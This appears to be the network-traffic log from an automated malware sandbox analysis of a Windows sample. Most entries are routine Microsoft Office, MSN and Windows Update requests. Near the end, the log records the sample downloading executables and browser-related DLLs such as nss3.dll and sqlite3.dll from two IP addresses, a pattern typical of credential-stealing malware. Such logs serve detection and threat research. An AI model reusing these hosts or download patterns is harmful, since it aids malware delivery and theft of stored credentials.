Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730798032548&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=14d15e2b2e864afba51e4828062a0fa6&activityId=14d15e2b2e864afba51e4828062a0fa6&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=01D0F972D2F36EF72A6BEC5CD3526FC5; _EDGE_S=F=1&SID=29BCC2E4018660F412EFD7CA00A86193; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /b2?rn=1730798032548&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=01D0F972D2F36EF72A6BEC5CD3526FC5&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1540bfe54332af600545ec31730798034; XID=1540bfe54332af600545ec31730798034
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=EVAab1DREAWYy8M&MD=R3vG8wkV HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730798032548&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=14d15e2b2e864afba51e4828062a0fa6&activityId=14d15e2b2e864afba51e4828062a0fa6&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=7D5F4AEA2E774A1FA1B53DC9FD2CC4BF&MUID=01D0F972D2F36EF72A6BEC5CD3526FC5 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=01D0F972D2F36EF72A6BEC5CD3526FC5; _EDGE_S=F=1&SID=29BCC2E4018660F412EFD7CA00A86193; _EDGE_V=1; SM=T; msnup=
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: 96c82c2c-b7ee-4605-b3e6-1b988856ddc4.tmp.11.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log7.11.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
